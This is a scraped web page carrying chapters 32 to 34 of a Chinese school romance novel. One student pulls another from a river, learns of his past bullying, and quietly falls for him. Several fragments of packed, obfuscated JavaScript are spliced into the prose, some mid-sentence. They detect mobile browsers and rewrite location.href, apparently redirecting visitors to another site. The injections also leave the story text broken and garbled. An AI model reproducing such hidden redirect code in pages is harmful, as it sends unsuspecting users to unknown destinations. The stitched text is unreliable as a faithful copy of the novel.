l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401243|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天上的星星也开始闪烁,一颗又一颗从夜幕滑落,滴落在许之脸上。 很快,星星就全部消失了,随之是一阵风,仿佛从四面八方吹来,天上的云被吹开,显露出一轮弦月。 弯弯的,像是谁的眼睛。 许之越看越觉得有种熟悉的感觉,但来不及细想,一阵剧痛骤然从胸腔蔓延开来,他无法克制地咳嗽起来,越咳越狠,仿佛要将五脏六腑全都吐出来才行。 咳的侧过身,背部拱起,整个人蜷缩成一个虾米。 “许之!许之!” 那个声音又出现了,许之循着声转头,眼皮像是有千斤重,他尝试了好几次,终于勉强睁开眼。 一阵强光袭来,许之觉得眼睛刺痛,只好又闭上。 怎么回事?晚上的月亮会有这么亮吗? “许之,睁开眼,看看我!” 许之感觉到有暖意缓缓传过来,他后知后觉发现自己浑身发冷。 五感一个接一个的恢复,许之再次尝试着睁开眼。 引入眼帘的是一张英俊少年的脸,他嘴唇紧抿,死死的盯着许之,眼角发红,像是要哭、又像是已经哭过了。 许之还是头一回在李斯年向来天不怕地不怕的脸上见到这样的恐惧神色。 而他的脑后,是一大片不可忽视的景象——似血般灿烂鲜艳的晚霞,铺天盖地,如同席卷而来的浪涛。 许之一时间有些分不清,到底李斯年眼中的颜色是晚霞,亦或是晚霞颜色是李斯年的双眼。 原来,如果能与你有关,血色晚霞也可能是好事发生么? “你醒了?”李斯年的声音在发抖,非常沙哑,每个字都说的小心翼翼,似乎怕这是一场会被惊醒的梦。 许之张了张嘴,发不出声音,只好非常轻微的点了点头。 李斯年收紧手臂,许之感受到他胸膛剧烈起伏着,这才发现他也浑身都是水,而自己正躺靠在他身上,刚才感受到的暖意就来源于此。 他脱离了冰冷黏腻的泥岸。 许之突然有一刹那的恍惚,不知今夕是何夕。 “你不会游泳,为什么不离水远一点啊……”李斯年心中后怕,他迫切的问,“怎么会掉进河里的?” 许之嗓子仍然疼的厉害,说不出完整的话,只好动了动手臂,李斯年有所察觉,于是将人松开了些,随着他侧头的目光看去。 许之抬起手,轻轻展开一直以来紧握的手心。 李斯年瞳孔骤缩——被水泡到发白的掌心里,躺着他的那块黑色手表。 李斯年鼻头一酸,感觉心脏被重重地揉搓、扯拽,痛到几乎无法呼吸。 许之眉眼间还带着淡淡的笑意,李斯年忍住将他再次拥入怀中的冲动,他伸出手,压制着指尖的颤抖,将表握住,连同许之冰凉的手,深呼吸,将人抄膝抱起。 “走,先去医院。” 保持清醒的状态对许之来说还是有点勉强,他觉得很累很累,头又开始有些昏沉。 闭上眼的最后,越过李斯年肩头,他看到天边的晚霞渐渐被夜幕覆盖。 今晚大概也会是满天繁星,许之这样想。 32. 暗恋 单人病房内,安静的只剩仪器的运作声响,许之睁开眼时,首先闻到的是淡淡酒精的味道。 窗户拉了一半,能看到外面还是黑夜,许之轻轻侧身,右边被褥被压住了,低头一看,李斯年坐在床旁边的凳子上,正趴在床侧,已经睡着了。 他的外套脱了,挂在旁边的衣架晾,里头的衣服没换过,就这么任由它湿着贴在身上,然后慢慢干掉,沾着几块泥沙,头发也一缕缕的耷拉在脸侧,狼狈得很。 这谁看了会相信这就是江、庆双城首富家的小少爷呢? 李斯年会这样,都是因为自己,为了帮自己摆脱许贺亮。 否则他明明可以住在宽敞豪华的房子里,花钱不用看价格、不用算余额。 吃着精心搭配、营养均衡的饭菜,每天车接车送,除了鞋底,没有地方会沾到雨雪风霜。 许之心里酸酸的,他既想叫李斯年回家洗澡换身衣服,又不忍心把他从睡梦中叫醒。 不过这样的纠结没有持续多久,李斯年本身睡得也不深,他手臂枕的酸麻,挪动一下,便睁开了眼睛。 “你醒了!觉得怎么样,有没有哪里不舒服?”刚才在河岸边的急切好像还没有完全消退,李斯年抓着许之,又是探他额头的体温、又是听他呼吸的频率。 “应该没事,我感觉还好,你别这么紧张了。”许之说。 李斯年呼出一口气,紧蹙的眉头还是没有松开,他站起身:“我去叫医生来。” “不用麻烦了……”许之说。 “不行,还是得让医生看看,对了,验血显示你有点贫血,我就说你太瘦了。”李斯年说完,坚持去护士站喊了人。 医生过来,一番检查之后,确定许之已经没有大碍了,他虽然呛水呛的急,但李斯年把人捞出来的很及时,并没有影响心肺功能,当下就可以出院,接下来几天注意修养即可。 听到这里,李斯年的紧张神色才终于有所缓解。 “要不就在这里睡一晚吧?大半夜,别折腾了。”李斯年问。 医生自然没什么意见,反正vip单人间因为价格昂贵,床位并不算紧张,但许之却起身穿鞋,“我睡不惯医院,还是回吧。” 他刚瞥见床头的价格单,这里是按小时算的,他不想让李斯年多花钱。 李斯年看出他的心思,又见他下床脚步稳当,想来的确没有大碍了,便顺着他的意思,在护士台办了出院。 已经后半夜,这时候回碧水名城动静大,李斯年也不放心他回去一个人,没人照看着,最终还是把许之带回三岔巷子,他在手机上提前点好外卖,正好到家就能吃上。 两个人都饿得狠了,风卷残云地吃完饭,李斯年让许之先去洗澡。 许之洗澡挺快的,顺便吹干了头发,从卫生间出来,就看到李斯年正从衣柜抱出两床被褥,要往地上铺。 已经入冬了,春夏的被褥垫在地上根本挡不住寒气,许之说:“打地铺太凉了,还是睡床上吧。” 李斯年一愣,手上动作停住了。 许之很快反应过来,他眉眼垂下,声音也轻了几分:“如果……你不介意的话?” 他以为李斯年的迟疑,是因为不愿意跟他这样喜欢男人的人睡在一张床上。 其实李斯年只是在紧张。 明知道什么事都不会发生,其实他甚至没想好,到底要不要找机会跟许之告白。 但就是很紧张,紧张之中还夹带着一丝莫名的雀跃,心又开始怦怦跳。 出租屋又小又安静,李斯年都担心许之会听到,于是赶紧佯装镇定的开口:“没有,我不是那个意思,这不是怕你介意嘛。” 许之的唇角放松些许:“我没关系。” 见没有引起对方的怀疑,李斯年心中松了口气。 但转念,又开始咂摸起来,许之这句“没关系”是什么意思呢? 问是肯定不可能问的,李斯年只好自己闷着头一面想着,走向卫生间准备洗澡。 记得上一次给为了给小猫们喂夜奶,许之也曾在出租屋住过一小段时间,那时候他是主动提出要睡折叠床的…… 李斯年觉得脑子里有两个小人在打架。 一个说:“他之前睡折叠床就是因为嫌弃你,拒绝跟一个不是自己喜欢类型的男生躺在同一张床上,哪怕真的只是睡觉。” 另一个说:“他现在愿意睡大床,肯定是因为没把你当成男的、或者可发展的对象,就像跟一个无性别生物躺在一起,所以就没关系啊。” 怎么办?李斯年有点无奈。 他理智上知道,纠结这些实在是有点没意义,但感性上又觉得,无论许之愿不愿意睡大床,都好苦恼啊!要是自己会读心术就好了。 李斯年在这瞬间忽然有所领悟,所谓暗恋的酸涩,大概就是现在这样吧。 忍不住在意很多、联想很多,却偏偏不能问、也不能说。 风水轮流转,这么些年都是他让别人尝尽了暗恋的苦,如今终于轮到他自己了。 李斯年洗完澡出来,看到许之已经先躺在床的里侧了。 李斯年发现他睡觉的时候有个小习惯,就是得从头到脚把自己裹得像个蚕蛹似的,只剩下一颗漂亮脑袋露在外面,说不出的乖巧可爱。 李斯年忍住揉他脑袋的冲动,熄了灯,摸索着到床外侧,钻进了自己的那床被子。 这床说大不大、说小不小,虽然能睡得下两个人,但平躺时,又能隐约感觉到隔着两层被子之外、对方手臂的位置。 枕头靠的也近,李斯年闻到许之今天用的是他的沐浴露。 奇怪,自己用了大半年,都没觉得这味道有什么特殊之处,但从许之身上散发出来,却又有点好闻。 还好上次去超市买的同款柑橘味沐浴露,他因为舍不得用,所以给收进柜子深处了,李斯年心有余悸地想,不然被许之看到,又要以为他是变态。 从前若说他是变态,那他行得正坐得端,能毫不犹豫的否定。 但现在他整个人从里到外都透着心虚,就连听着许之轻缓的呼吸,心中的幸福感都像是在吹气球一样偷偷膨胀着。 李斯年翻了个身,手腕上的坠感提醒了他,趁着许之还没睡着,有些话得说。 “今天谢谢你,这个手表其实是我妈送的,对我很重要。不过……再怎么说也只是个物件,不值得你这么冒险的。” 李斯年直到现在都不敢细想当时的情景。 他在便利店吃完东西,给许之打了几个电话没人接,就沿路去找。 当听到岔路的河边围着几个小孩,七嘴八舌说有人落水时,李斯年还不能确定是不是许之,只是一种不安的直觉,于是还是跳下水去。 当李斯年将许之从水里捞上来,看到他毫无表情、苍白如纸的脸时,那种无可挽回、注定失去的恐慌瞬间涌上心头,就像那天看到郑秀躺在太平间的床上一样。 他害怕到全身控制不住的发抖,死咬着打颤的牙关,近乎机械式的给许之做心脏复苏。 时间好像在那一刻停滞了,他按倒双手麻木也不敢停,直到看到许之唇边涌出水来,然后开始咳嗽。 霎那间,李斯年的心从高空坠落,从来没有信仰的他把上帝佛祖老天爷玉皇大帝统统都谢了个遍。 黑暗中,听觉被放大,李斯年听到许之呼吸频率稍稍变化,他似乎想了些什么,但最终没说太多,只是“嗯”了声,带着安抚的意味,“今天也累了一天,快睡吧。” - 次日中午,第四节课下课铃刚响,李斯年就难得积极的站起身,眼疾手快的往许之课桌抽屉一掏,许之人都没反应过来,就看到他手里拿着自己的不锈钢饭盒。 “医生都说你贫血了,以后不准吃这些没营养的东西。”李斯年把饭盒往自己的书包里一塞,将人拉了起来,“走,一起去食堂去抢饭!” 方行舟目瞪口呆的看着因为不喜欢挤人堆里,所以从来都是等其他同学走的差不多了才慢悠悠去食堂、看到人多了就直接转头去南门便利店觅食的李斯年,此刻兴冲冲的带着许之往队伍密密麻麻的排队窗口方向里钻。 这人怎么突然转了性呢?方行舟感到很费解,顺便赶紧跟在后面,排进了队里,垫着脚去看窗口玻璃上写着的今日菜单:“今天菜怎么样?我没拿眼镜。” “挺好,肉菜多。”李斯年个子高,看得清楚,他排在许之前面,直接拿饭卡滴了两次,连着许之的饭一起点了。 他知道许之除了不太能吃辣,别的都没什么忌口。 许之从他手里接过餐盘,刚要说什么,李斯年抢先开了口:“诶,别提钱,都是小东西。” 他拿许之之前说过的话来回他,一双眼笑得弯弯:“再说了,你帮我找到表,就当我谢你,请你吃几次食堂,我还嫌不够呢。” 三人在拥挤的食堂里绕来绕去,最后终于找到一张桌子,正好有人吃完了要走,方行舟一马当先抢占,屁股刚落座,转头对上旁边魏旬的脸,笑凝固在脸上。 天珠峰上吵的那一架历历在目,二人都有点尴尬,但这个时间点食堂座位贵如金,魏旬碗里还有大半没吃完,谁也不愿意离开。 李斯年倒是无所谓,他抬头看了一眼墙上的电摇扇,对许之说:“你坐里面吧。” 食堂人多饭菜热,不透气,能吹到风的位置会舒服些。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401244|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方行舟扭过头,决定就当魏旬是个空气人、不存在,他拿起鸡腿正要啃,忽然想起什么:“诶,元旦汇演快到了,今年咱们要不要再出个节目吗?” “不要。”李斯年一口拒绝。 去年他就被方行舟坑着去搞了个合唱,结果初选时这人紧张到肠绞痛,在卫生间蹲了个天昏地暗,李斯年只好硬着头皮自己上台干巴巴的唱完。 虽然这个节目最后被不知哪个评委同学偷录了视频上传,而且因为唱歌的人太帅、唱的又很好听,如今还是学校贴吧里楼最高的精华帖。 “去年真是可惜了,你说那些老师怎么这么不知道变通呢!非说双人节目变成一个人上台,与报名表填写的不符,所以不给过,你唱的多好啊!”方行舟痛心疾首。 “得了吧,你说怪谁?”李斯年笑。 “怪我,怪我这不争气的消化系统啊……” 李斯年抢着打断:“吃饭呢,打住!” 二人说笑着,许之自然的接了句:“那怎么上次在KTV没见你点歌。” 他现在偶尔也会参与话题了。 “你还记得我唱没唱歌?”李斯年有点吃惊,“我以为你光顾着埋头吃薯条了。” 许之眉头轻轻拧住,似乎在问“你怎么知道我在吃薯条”,不过开口却是:“记得啊,当时肖宁枝还来找你喝……酒。” 他隐去了交杯二字,李斯年却反而觉得像是强调。 又见方行舟在笑,看样子即将狗嘴里吐不出象牙来,于是抢先:“我先郑重澄清一下啊,我跟肖宁枝真的从来都没什么,高一时就是她当临时班委,因为我们初中同班认识,她叫我帮了几次忙而已。” 他说的时候,装作自然的瞥了许之几眼,后者一脸认真的听,李斯年心情忽然就变得很好。 其实他根本不在乎别人怎么以为,但许之误解了就不行。 “那为什么都在传,是她拒绝你了?”方行舟问。 “我也不知道,这种流言嘛,不都是没头没尾的。”李斯年不想出卖肖宁枝,虽然这件事是她撒谎在前,但他现在更能理解她的心情了——暗恋不得的心情。 “原来是这样,可惜了。”方行舟叹了口气,“你俩还挺配的。” “配个……”脏话刚要出口,李斯年突然就给憋住了,许之在旁边,还是不要表现的太粗俗,“反正这件事澄清清楚了,就此打住。” 之后二人有一搭没一搭的闲聊,饭也吃完了,李斯年侧头看,许之还剩半碗汤没喝。 “你们先回吧。”察觉到李斯年的目光,许之说。 “没事,我们正好去趟小卖部,等下门口等你。”李斯年说着,跟方行舟端起餐盘,往归还台走。 魏旬也吃得差不多了,刚才大家聊天时,他一直单手刷着手机,埋头吃饭,他拿手机的姿势和别人不同,不是摊在桌上,而是半竖起来。 这人连玩手机也有种在看书的感觉。 见李斯年和方行舟走了,魏旬也顺势起身想走。 “魏旬。”许之突然开口。 魏旬像是被吓了一跳,拿着餐盘的手一抖,筷子掉在地上,摔出清脆的声响。 许之抬起眼,毫无表情的看向他。 魏旬扶了扶眼镜,强迫自己挺直腰板:“怎、怎么?有什么事吗?” “别跟钱霆混在一起了,你们不是一路人。” 许之的声音不重,却像是一记耳光,让魏旬几乎跳了起来。 他仿佛受到极大的侮辱,却将声音按得极低:“你胡说什么!我根本不认识他!你有什么证据,就这样随便诽谤别人?!” “在ktv那次,也有你的份吧。”许之拿起餐盘,走到魏旬身侧,像是寻常的擦肩而过,“虽然我不知道你为什么讨厌李斯年,但劝你还是不要再动这样的歪心思了,不然倒霉的只能是自己。” 在ktv围李斯年的人明显是有备而来,个个拿着家伙,还能正好踩着时间点,把临时起意中途溜出去的李斯年堵在少人的巷子里。 没人通风报信是不可能的。 原本许之只是心存怀疑,并不确定报信的人是谁。 但当那天魏旬给他指路,指到钱霆等人那儿时,许之就基本能确定了。 这世上哪有那么巧的事呢? 魏旬这样性格的人,自诩书读得多、有智慧,觉得钱霆那种莽夫是能被利用的对象。 而事实是这人是空有坏心,没什么真胆量,若有一天,钱霆回过味来自己被当枪使,那魏旬肯定要倒大霉。 “我不知道你在说什么……”魏旬还想再狡辩几句,但许之无意再听下去,只是摆了摆手,抬脚离开。 33. 节目 元旦汇演,每个班都必须至少出一个节目参与初选,而六班的同学艺术细胞大多都不怎么样——从跑调的音乐课就能看出。 当董老师晚自习询问节目报名情况时,全班鸦雀无声,方行舟左看看右看看,冒出一句“我可以上去打双节棍”,被董老师扶着额头无情拒绝。 “我不希望你们成为那种只会死学习的学生,知道吗?也不需要准备多么复杂的节目,唱个歌、跳个舞,整个朗诵诗也行啊。” 董老师说着,目光扫过王雪菁,忽然灵光一现,“对了,英语课代表发扬一下带头作用,准备个英文朗诵,这就很有特色嘛!” 王雪菁的表情活像吞了个大鹅蛋,只恨自己刚才为什么要抬起头,和老董头对上目光。 指标完成,董老师为自己的机智感到高兴,他手往桌子上一拍,不给王雪菁拒绝的机会:“那就这么定了!大家拿出上午的化学试卷,我们开始讲第一道大题……” 次日大课间结束,班长黄锦婷一脸同情的将元旦汇演报名表放在了王雪菁桌上。 “救命……谁会想要听英文朗诵啊,老董头怎么想一出是一出!”王雪菁觉得头很痛。 “重在参与吧,反正他也是为了完成指标任务,你就随便准备准备,说不定初选就直接被刷下来了,皆大欢喜!”黄锦婷安慰道。 “我借你吉言。”王雪菁有气无力的说。 方行舟在后座听了半天,忍不住插嘴:“最近网上有那种自己给电影片段配音,还挺火的,要不换个思路,把英语朗诵改成经典国外电影配音?” 他还在为自己的双节棍无法参加演出而感到遗憾,于是将热情投入到了这里。 “诶,这个主意好啊!”黄锦婷觉得很有趣,“我投《泰坦尼克号》一票!” “这能算是一个……节目吗?”王雪菁有点怀疑。 “有就行了,难道你真想着过初选最后上台啊?”黄锦婷说。 王雪菁摇头:“肯定不啊,期末考试也快到了,我现在就希望这件事简单弄完、尽早结束。关键是,谁会愿意参加呢?” 方行舟清了清嗓子,挺直了背,就差没在脑门刻几个字“看我看我”了。 王雪菁一摆手:“你首先排除,你属于应试选手,写卷子行、口音不行,一张嘴要吓坏人了。” “都到这时候了还挑三拣四。”方行舟瘪瘪嘴:“不信你去问其他人试试,看有人愿意参加么?到时候还是得回来求我。” 王雪菁站起身,被激发斗志:“哼,试试就试试!” 然而她从一组问到四组,斗志很快就被消耗殆尽——如方行舟所言,没人愿意参加。 她到最后已经没有力气开口询问了,只是走到李斯年面前时,把报名表拿起来晃了晃,见李斯年摇头,也不再多费口舌,来到最后一排。 全班都问过了,只剩许之。 “他人呢?”王雪菁指着许之空空的座位。 “可能去厕所了吧。”方行舟瞟了一眼报名表,乐开了花,“怎么样,王雪菁同学?我已经做好了被求的准备了哟!” 王雪菁白了他一眼,扭头要走,正好看到许之进教室,原本挎着的脸立刻展露笑容:“许之啊,要不要参加元旦汇演的节目?经典国外电影配音,很有意思的!” 许之一愣,“不”字还没出口,王雪菁又继续说:“我看过你参加省口语比赛的视频,发音多漂亮啊!有你,我们的节目肯定精彩加倍!” 李斯年原本是旁观看热闹,听到‘比赛视频’几个字,插嘴问许之:“你还参加过口语比赛?” “是啊。”王雪菁抢着回答,继续不遗余力的讨好赞美着许之,“虽然是第二名,但那个第一名爸爸是外国人,在国外上完初中才回国的,所以在我心里,许之就是第一名了!” “那次……是个意外,不是我想去的。”许之表情有些为难。 当时是班上英语老师先斩后奏给许之报的名,最后又说跟期末成绩挂钩,逼得他不得不去。 王雪菁急得脸都红了:“哎呀,算我求你了,参加一下,如果实在不喜欢上台,大不了到时候初选故意表现差一点,就能被刷下来,要是我组织不出来这个节目,老董头肯定不会放过我的!” “要不你就参加一下吧?”李斯年突然开口。 王雪菁像抓住根救命稻草似的,向李斯年投去感激的目光,冲着许之双手合十:“拜托拜托!” 许之有点莫名其妙的看了一眼李斯年,不明白他怎么突然就倒戈向王雪菁了。 但说实话,给一个片段英文配音,对他而言不算难事,王雪菁话都说到这份上了,他再拒绝也不太好。 于是终于是点了头,在报名表签上名字。 “太好了,真的谢谢你!”王雪菁笑的灿烂,“对了,对于电影片段的选择,你有什么建议吗?” 许之思索片刻:“你定就好,但尽量选情绪平稳些的吧,毕竟我只有朗诵的经验。” “好咧,包在我身上!”王雪菁笑着说完,冲方行舟做了个鬼脸,欢快的离开了。 “差一点,就差一点,王雪菁就要求我了,你说你干的什么事儿啊。”方行舟愤愤地给了李斯年肩膀一拳。 李斯年笑着躲开,他不会承认是因为“自己想要亲耳听许之给电影片段配音”这个私心的。 最近,他越来越觉得自己对许之的了解还是太少了,他想要知道更多,许之从前是什么样的,在庆城时有没有什么朋友,有没有喜欢过谁、或是被谁喜欢过。 而不是像今天这样,听旁的人提起他所不知道的许之。 他不喜欢这种感觉。 “我建议,你要是对王雪菁有好感,就大大方方追。”李斯年转开了话题,诚恳道:“这样成天给人唱反调,很容易让她讨厌你的。” “谁、谁说我有好感啊!”方行舟老脸一红,“就她那样,腿也不长、身材也不好,整天扎着两个马尾跟幼儿园刚毕业似的,我怎么可能喜欢。” “看,你这种人就是非要说反话、做反事,全身上下嘴最硬,这样不好。”李斯年贱兮兮的说着,又躲掉方行舟一拳,“喜欢一个人,就要夸她,懂不懂啊?你觉得她哪里好,就要告诉她,不说人家是不会知道的!” 许之听了这话,忽然心下一动,他侧头,正好看到李斯年洋溢着笑容的嘴角,他整个人像是浸在阳光里一般,鲜活生动。 方行舟已经脸红到耳朵根了,他生怕李斯年声音再大点,就会被前排的那几个女生听到,恨不得扑过来把他的嘴捂死。 二人就这样你追我赶的,打闹了一番,直到下节化学课的上课铃响,才被老董头提溜回教室。 - 晚自习结束,回到家,李斯年迫不及待的开始搜索王雪菁说的那场省口语比赛。 在学校时他就想看了,但又怕显得自己有些过分在意许之的事,只好忍到放学回家。 他隐约记得高二那年,育德也派人参加过,当时全校晚自习还组织观看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401245|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比赛直播,可惜那个同学没能进入决赛,所以李斯年也没有再继续关注。 这是一种很奇妙的感觉,原来他曾有机会更早的看到许之。 但有时候人和人之间的缘分就是这样,时候没到,哪怕擦肩而过也毫无知觉。 比赛视频挺容易就找到了,李斯年滑动进度条,直到看到那个熟悉的身影。 许之那时似乎比现在稍矮一些,仍然瘦瘦的。 他走到支架前,取下话筒,站在舞台正中央。 四面漆黑,只有一道追光洒下,将他的身影勾勒分明,五官因为隐入阴影看不分明,反而像极了误入凡间的神明。 钢琴配乐起,他拿着纸稿,但其实目光没有落在上面,而是虚虚的低垂。 举起话筒,比平时说话更低沉些的声音透过舞台两边的音响传了出来,带着些许混响。 李斯年有点吃惊,虽然先前已经知道许之得了第二名,表现肯定不会差,但他真没想到许之的发音会这么漂亮,标准的英式发音,克制而优雅。 而且,他决赛选的是一首奥登的诗,If I Could Tell You。 与其他一众或积极向上、或优美抒情的比赛作品相比,这首诗选的明显比较小众,李斯年转念一想,又觉得这其实很符合许之的个性。 他经常看起来对什么都淡淡的、没太所谓,但其实内心早有清晰的抉择判断。 这一瞬间,李斯年仿佛穿越了时间,与视频中许之达到某种奇特的共鸣与同频。 这首诗不算长,几分钟后,朗诵结束,许之将话筒还回支架上,鞠躬下台。 台下雷鸣般的掌声在视频中其实不太真切,但李斯年却仿佛置身现场一般,心中涌起些许澎湃。 他原本认为自己已经挺喜欢许之的了。 但现在却觉得……好像还能更喜欢一点。 李斯年调出微信界面,输入了一个初中关系挺好、初二转校去庆城读书的同学名字。 SN:哈喽,你是不是在庆城高中? 对方很快就回复了。 邹彬:是啊,怎么了 SN:认识一个叫许之的人嘛 邹彬:这大名人啊,谁不认识 邹彬:他这学期不是转去育德了,难道正好转到你班上了? SN:哈哈是啊 邹彬:恭喜你,是不是第一名被抢走了[笑] SN:……你猜对了 回想当时,他还挺介意这件事,故意撞了一下许之的肩膀,但现在却觉得,就算一直让许之的名字挂在自己前面,也挺不错。 李斯年正自嘲的想,心境的改变真是一瞬之间,就看到邹彬又发了一条消息。 邹彬:哎呀放宽心啦,反正育德年年出状元,你第二名估计分数也高的很,就别和他计较了,这人挺可怜的 邹彬和李斯年是初中同学,那时李斯年正值青春期,比现在嚣张跋扈得多,有段时间在学校里恨不得能横着走,说夸张点大概就是不打人版钱霆。 邹彬这话,估计是以为李斯年是因为介意自己第一名被抢走了,想找许之麻烦,才专门找他打听的。 李斯年看到那最后一句,觉得有些奇怪。 许贺亮和许之之间的事情,应该是没有传开的,邹彬不会知道。 那他指的会是什么?许之难道还遇到过别的事? 李斯年敲了几下键盘,发出一行字。 SN:可怜……是什么意思? 34. 生病 与邹彬的聊天界面一直显示:正在输入中……但迟迟不见消息发出,李斯年心里有些焦急,正想再打字问,就看到邹彬发来一条60s的语音。 邹彬:“打字麻烦,我还是发语音吧,就是……其实我跟许之也不算很熟,只是认识,高一在一个班,高二分文理科之后,就不同班了。我只知道他好像一直都被庆城高中那几个校霸霸凌来着,应该是有次撞见他们欺负别的同学,然后帮着说了几句话,就被盯上了,那群家伙向来也最看不起学习成绩好的,许之又次次是年级第一,太惹眼了。” SN:发生这种事,老师不管吗? 庆城高中和育德高中无论是教学质量、还是升学率这些年来都是旗鼓相当,省状元轮流出,校风应该抓得也挺紧的,怎么会放任这种事情。 邹彬:“管也管不了多少,毕竟老师又不能时时刻刻跟在许之身边,还是有次闹得大了,好像是他们把许之丢到烂尾楼后面的水池里,差点闹出人命,老师叫了所有人的家长,去许老师那里赔礼道歉,哦,许老师就是许之的舅舅,我们学校的体育老师,那次之后,明面上是消停了一段时间,但后来还是偶尔看到他脸上身上带伤,可能那些人私底下其实没放过他。” 怪不得许之怕水,那次去露营时,走到溪边四五米就不再往前了。 但就算他怕水,为了给自己捞表,也还是往河里跳了。 李斯年觉得心口堵了块大石头,喘不上气来,不知不觉手心也冒了汗,他胡乱在衣服上一抹,又拿起手机,却不知道该怎么回消息。 他脑子里忽然冒出一句话——麻绳专挑细处断,厄运专找苦命人。 从前不太理解,如今却能体会到几分了。 许贺亮是什么东西?他不借这件事向施压许之就不错了,怎么可能真心的维护他? 许之在庆城高中那两年一定过得很不好,情况或许比邹彬知道的要更糟。 李斯年想起在ktv后头与钱霆打架那次,许之出手时不要命的狠劲,如今想起来,大概是因为曾切切实实遭遇过要命的事情。 那时候的自己怎么就没能意识到呢? 李斯年没由来的自责,恨自己怎么没有早点认识他。 邹彬没察觉到李斯年的异常沉默,又一条文字消息发过来:他在育德怎么样?你们那边校风应该更好点吧。 李斯年想了一秒钱霆的名字,还是决定不和邹彬说那么多。 总之今后只要有他在,谁也别想再欺负许之。 SN:还好,高三嘛,大家都顾着埋头搞学习了 邹彬:[笑]那就好,庆高这几年状元争不过育德还是原因的,我们年级有几个老师还跳槽去育德了 李斯年与邹彬又闲扯了几句,时间也晚了,约了句遥遥无期的“毕业后暑假一起玩”,就结束了聊天。 沉甸甸的心情一直带进了梦里,李斯年睡的并不安稳。 他梦到许之落进水里,但这一次,他没能把人救上来,水如深渊般看不见底,许之四肢脱力的伸展,像是一块布,飘着沉着消失在视线中。 李斯年惊醒,呼吸还延续着梦中的急切,胸膛快速起伏着,他侧过头,看到窗外已经亮起白光。 早自习,李斯年踩着铃声进教室,将一袋温热的牛奶放到许之的桌上。 许之:? “补充营养。”李斯年说。 “赵婶早餐准备挺丰富的。”许之瞧见他眼底的乌青,“昨晚没睡好?” “做了个噩梦。”李斯年一笔带过,他看到许之的刘海有点长了,就这么垂在轮廓圆润的眼睛上边,很是乖巧的模样。 一想到这样的脸上曾经有过伤痕,李斯年心里又开始冒出丝丝密密的心疼来。 他实在没忍住,伸手揉了揉许之的脑袋。 就像揉李倾诺那样,没什么章法,还把头发揉的有点乱,在许之错愕愣神间,装作很自然的丢下一句:“头发长长了,抽空剪剪。”就转过身去。 - 王雪菁最后选了电影《怦然心动》中,布莱斯在朱莉院子里种梧桐树的片段。 许之也觉得不错,这一段更多是内心独白,和朗读有些类似,而对话也是比较日常的,好驾驭。 不过这个选段只有2分钟左右,许之担心这并不能算做一个节目,而王雪菁胸有成竹的说:看我的! 然后就来了个先斩后奏——她先把报名表提交到年级办公室后,才去和董老师说了节目的情况。 “我不是让你弄一个英文朗读嘛,怎么改成配音了?”董老师眉头拧成一团,“元旦汇演的节目要么得好听好看,要么得积极向上,你这……就算弄成配音串烧也好啊,单个片段,时间太短了。” “啊,我以前没参加过,不知道这个情况诶。”王雪菁内疚又无辜的眨眨眼,诚恳道,“但报名已经截止了,要不我再去问问那边老师?” 话说到这份上,董老师只能叹了口气,摆摆手:“算了算了,咱们就重在参与吧!” 他原本也没想着六班真要有节目入选,高三上学期马上就要结束了,还是备战高考更重要。 “好的老师,那我先回去了。”王雪菁委屈巴巴的说完,转过身,狡黠一笑,搞定! 她将台词整理打印出来,与许之先各自念熟了台词,然后开始利用中午休息的时间一起练习。 李斯年以“支持班级活动”为由,主动承担了带午饭的工作,并顺势旁听二人练习,其实主要是为了看许之。 王雪菁的发音中规中矩,学校里教的都是美式发音,电影原声也是这样。 许之花的功夫要多些,要把原本的发音往原声上靠,但他学东西快,三四天后已经很有模有样了。 节目初选就在周四下午,上午放学后,李斯年照例叫许之一起食堂吃饭,回头却看到他趴在桌上。 这人从来不上课睡觉的,李斯年拍了拍他的肩:“醒醒?” 许之过了一会才抬起头,他眼睛半睁着,声音也听起来有点懒懒的:“嗯?” “下课了。” 许之反应比平时慢了半拍,他眨眨眼,又看向已经空了的教室,“哦”了一声,手撑着桌面站起身,准备往外走:“去食堂?” 李斯年觉得他有点不对劲,拦住人,看他脸颊有点泛红,于是手贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401246|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了他的额头,一皱眉:“你发烧了?” 许之也跟着摸了摸自己的脸:“还好吧,不烫。” “你烧着,手也是热的,自己摸自己当然不觉得。”李斯年把他扶回座位,“身上会有酸痛的感觉吗?没什么劲儿?” 